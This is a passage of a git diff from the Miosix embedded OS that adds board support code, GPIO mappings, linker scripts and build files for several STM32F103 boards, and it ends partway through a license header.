b/miosix/arch/board/stm32f103xb_generic/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..9b33d51f2 --- /dev/null +++ b/miosix/arch/board/stm32f103xb_generic/interfaces-impl/bsp.cpp @@ -0,0 +1,92 @@ +/*************************************************************************** + * Copyright (C) 2015, 2016, 2017, 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "board_settings.h" + +using namespace std; + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios, as well as AFIO + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_AFIOEN; + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + reboot(); //This board has no shutdown support, so we reboot on shutdown +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f103xb_generic/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f103xb_generic/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..7b6a68a52 --- /dev/null +++ b/miosix/arch/board/stm32f103xb_generic/interfaces-impl/bsp_impl.h @@ -0,0 +1,58 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the suorce code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +inline void ledOn() {} +inline void ledOff() {} + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +// inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f103xb_generic/unikernel-128k+20k.ld b/miosix/arch/board/stm32f103xb_generic/unikernel-128k+20k.ld new file mode 100644 index 000000000..b5557224e --- /dev/null +++ b/miosix/arch/board/stm32f103xb_generic/unikernel-128k+20k.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 20K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f103xb_generic/unikernel-64k+20k.ld b/miosix/arch/board/stm32f103xb_generic/unikernel-64k+20k.ld new file mode 100644 index 000000000..54be02ab7 --- /dev/null +++ b/miosix/arch/board/stm32f103xb_generic/unikernel-64k+20k.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 20K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f103ze_redbull_v2/CMakeLists.txt b/miosix/arch/board/stm32f103ze_redbull_v2/CMakeLists.txt new file mode 100644 index 000000000..f4371abe9 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_redbull_v2/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f103ze_redbull_v2 +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f1_sd.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_REDBULL_V2) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_REDBULL_V2) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f103ze_redbull_v2/Makefile.inc b/miosix/arch/board/stm32f103ze_redbull_v2/Makefile.inc new file mode 100644 index 000000000..01ac77092 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_redbull_v2/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32f103ze_redbull_v2 +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/sdmmc/stm32f1_sd.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_REDBULL_V2 +BOARD_CXXFLAGS := -D_BOARD_REDBULL_V2 + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f103ze_redbull_v2/boot.cpp b/miosix/arch/board/stm32f103ze_redbull_v2/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f103ze_redbull_v2/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..3b976b7a4 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F103xE +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 59, so there are 60 +#define MIOSIX_NUM_PERIPHERAL_IRQ 60 diff --git a/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..ff346c4bb --- /dev/null +++ b/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/bsp.cpp @@ -0,0 +1,183 @@ +/*************************************************************************** + * Copyright (C) 2011 by Yury Kuchura * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f1_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable clocks to all ports + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_IOPEEN | RCC_APB2ENR_IOPFEN | + RCC_APB2ENR_IOPGEN | RCC_APB2ENR_AFIOEN; + RCC_SYNC(); + //Set ports + leds::led1::high(); + leds::led1::mode(Mode::OUTPUT); + leds::led2::high(); + leds::led2::mode(Mode::OUTPUT); + leds::led3::high(); + leds::led3::mode(Mode::OUTPUT); + leds::led4::high(); + leds::led4::mode(Mode::OUTPUT); + leds::led5::high(); + leds::led5::mode(Mode::OUTPUT); + + disp::backlight::mode(Mode::OUTPUT); + + disp::d0::mode(Mode::ALTERNATE); + disp::d1::mode(Mode::ALTERNATE); + disp::d2::mode(Mode::ALTERNATE); + disp::d3::mode(Mode::ALTERNATE); + disp::d4::mode(Mode::ALTERNATE); + disp::d5::mode(Mode::ALTERNATE); + disp::d6::mode(Mode::ALTERNATE); + disp::d7::mode(Mode::ALTERNATE); + disp::d8::mode(Mode::ALTERNATE); + disp::d9::mode(Mode::ALTERNATE); + disp::d10::mode(Mode::ALTERNATE); + disp::d11::mode(Mode::ALTERNATE); + disp::d12::mode(Mode::ALTERNATE); + disp::d13::mode(Mode::ALTERNATE); + disp::d14::mode(Mode::ALTERNATE); + disp::d15::mode(Mode::ALTERNATE); + disp::rd::mode(Mode::ALTERNATE); + disp::wr::mode(Mode::ALTERNATE); + disp::cs::mode(Mode::ALTERNATE); + disp::rs::mode(Mode::ALTERNATE); + + //Chip select to serial flash: setting it to 1 + spi1::nss::high(); + spi1::nss::mode(Mode::OUTPUT); + + //Touchscreen interrupt signal + spi2::touchint::pullup(); + spi2::ntouchss::mode(Mode::INPUT_PULL_UP_DOWN); + + //Configure buttons + buttons::wakeup::mode(Mode::INPUT_PULL_UP_DOWN); + buttons::wakeup::pullup(); + buttons::tamper::mode(Mode::INPUT_PULL_UP_DOWN); + buttons::tamper::pullup(); + + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); +/* + SCB->SCR |= SCB_SCR_SLEEPDEEP; + PWR->CR |= PWR_CR_PDDS; //Select standby mode + PWR->CR |= PWR_CR_CWUF; + __NOP(); + __NOP(); + PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source + //FIXME: wakeup via PA.0 is not working + __WFI(); +*/ + NVIC_SystemReset(); + for(;;) ; //Never reach here +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..a8bf75eab --- /dev/null +++ b/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/bsp_impl.h @@ -0,0 +1,81 @@ +/*************************************************************************** + * Copyright (C) 2010 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "hwmapping.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio< PF,6> led; + +inline void ledOn() +{ + led::low(); //led anode is at +3.3V +} + +inline void ledOff() +{ + led::high(); +} + +///\internal Pin connected to SD card detect +//typedef Gpio sdCardDetect; //Using grounded pin PB2-BOOT1 - Y.K. + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +inline bool sdCardSense() +{ + return sd::cardDetect::value()==0; +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..b782ae362 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_redbull_v2/interfaces-impl/hwmapping.h @@ -0,0 +1,142 @@ +/*************************************************************************** + * Copyright (C) 2011 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef HWMAPPING_H +#define HWMAPPING_H + +#include "interfaces/gpio.h" + +// +// All GPIOs are mapped here +// + +//LED +//typedef Gpio hwled; //Active high + +namespace miosix { + +//Display interface +namespace disp { +typedef Gpio backlight; + +typedef Gpio rd; +typedef Gpio wr; + +typedef Gpio nfcs; //nCS for AT45DB161B if present on TFT module +typedef Gpio sdcs; //CS for MMC_SPI if present on TFT module + +typedef Gpio cs; +typedef Gpio rs; + +typedef Gpio d0; +typedef Gpio d1; +typedef Gpio d2; +typedef Gpio d3; +typedef Gpio d4; +typedef Gpio d5; +typedef Gpio d6; +typedef Gpio d7; +typedef Gpio d8; +typedef Gpio d9; +typedef Gpio d10; +typedef Gpio d11; +typedef Gpio d12; +typedef Gpio d13; +typedef Gpio d14; +typedef Gpio d15; +} +//MicroSD connections +namespace sd { +typedef Gpio cardDetect; +typedef Gpio d0; //Handled by hardware (SDIO) +typedef Gpio d1; //Handled by hardware (SDIO) +typedef Gpio d2; //Handled by hardware (SDIO) +typedef Gpio d3; //Handled by hardware (SDIO) +typedef Gpio clk; //Handled by hardware (SDIO) +typedef Gpio cmd; //Handled by hardware (SDIO), 100k to +3v3b +} + +//USB connections +namespace usb { +typedef Gpio dm; //Handled by hardware (USB) D- +typedef Gpio dp; //Handled by hardware (USB) D+ +typedef Gpio detect; //1K pullup connected to 3.3V via bipolar PNP. + //Pull this pin down to enable detection if jumper is not set +} + +//SPI1 is connected to AT45DB011B (1Mbit) serial flash if J1 and J2 (DAC1 and DAC0) jumpers are set +namespace spi1 { +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +typedef Gpio nss; +} + +//SPI2 is connected to ADS7843 touchscreen controller +namespace spi2 { +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +typedef Gpio ntouchss; //used to select touch screen controller +typedef Gpio touchint; //touchscreen controller interrupt +} + +//I2C1 is connected to 24C02WI 256-byte EEPROM +namespace i2c1 { +typedef Gpio sda; +typedef Gpio scl; +} + +//Debug/bootloader serial port +namespace boot { +typedef Gpio detect; //BOOT1 (10k to ground) +typedef Gpio tx; //Handled by hardware (USART1) +typedef Gpio rx; //Handled by hardware (USART1) +} + +namespace leds { +typedef Gpio led1; +typedef Gpio led2; +typedef Gpio led3; +typedef Gpio led4; +typedef Gpio led5; +} + +namespace sound { +typedef Gpio buzzer; //if JP5 jumper is set (shared with boot::detect) +} + +namespace buttons { + typedef Gpio wakeup; + typedef Gpio tamper; + typedef Gpio user1; + typedef Gpio user2; +} + +} //namespace miosix + +#endif //HWMAPPING_H diff --git a/miosix/arch/board/stm32f103ze_redbull_v2/unikernel.ld b/miosix/arch/board/stm32f103ze_redbull_v2/unikernel.ld new file mode 100644 index 000000000..33e383b90 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_redbull_v2/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 64K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/CMakeLists.txt b/miosix/arch/board/stm32f103ze_stm3210e-eval/CMakeLists.txt new file mode 100644 index 000000000..cb34b3e09 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/CMakeLists.txt @@ -0,0 +1,42 @@ +## +## CMakeLists.txt for board stm32f103ze_stm3210e-eval +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, stack + heap in internal RAM + unikernel.ld + # 2) Code in FLASH, IRQ stack, .data, .bss in internal RAM, heap in external RAM + unikernel-xram-heap.ld -D__ENABLE_XRAM + # 3) Code + stack + heap in external RAM, Code runs *very* slow. Works only + # with a booloader that forwards interrrupts @ 0x68000000 + # (see miosix/tools/bootloaders for one). + unikernel-all-in-xram.ld -D__ENABLE_XRAM -D__CODE_IN_XRAM + # 4) Code in FLASH, Kernel in internal RAM, Process pool in XRAM + processes-xram.ld -DWITH_PROCESSES -D__ENABLE_XRAM +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-xram-heap.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f1_sd.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM3210E_EVAL) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM3210E_EVAL) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE ...) diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/Makefile.inc b/miosix/arch/board/stm32f103ze_stm3210e-eval/Makefile.inc new file mode 100644 index 000000000..1453fef65 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/Makefile.inc @@ -0,0 +1,34 @@ +## +## Makefile for board stm32f103ze_stm3210e-eval +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/sdmmc/stm32f1_sd.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM3210E_EVAL +BOARD_CXXFLAGS := -D_BOARD_STM3210E_EVAL + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +ifeq ($(LINKER_SCRIPT),unikernel-all-in-xram.ld) + PROG ?= $(KPATH)/../tools/bootloaders/stm32/pc_loader/pc_loader \ + /dev/ttyUSB0 $(if $(ROMFS_DIR), image.bin, main.bin) +else + PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 +endif diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/boot.cpp b/miosix/arch/board/stm32f103ze_stm3210e-eval/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f103ze_stm3210e-eval/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..3b976b7a4 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F103xE +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 59, so there are 60 +#define MIOSIX_NUM_PERIPHERAL_IRQ 60 diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f103ze_stm3210e-eval/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..2457b79e6 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/interfaces-impl/bsp.cpp @@ -0,0 +1,137 @@ +/*************************************************************************** + * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this 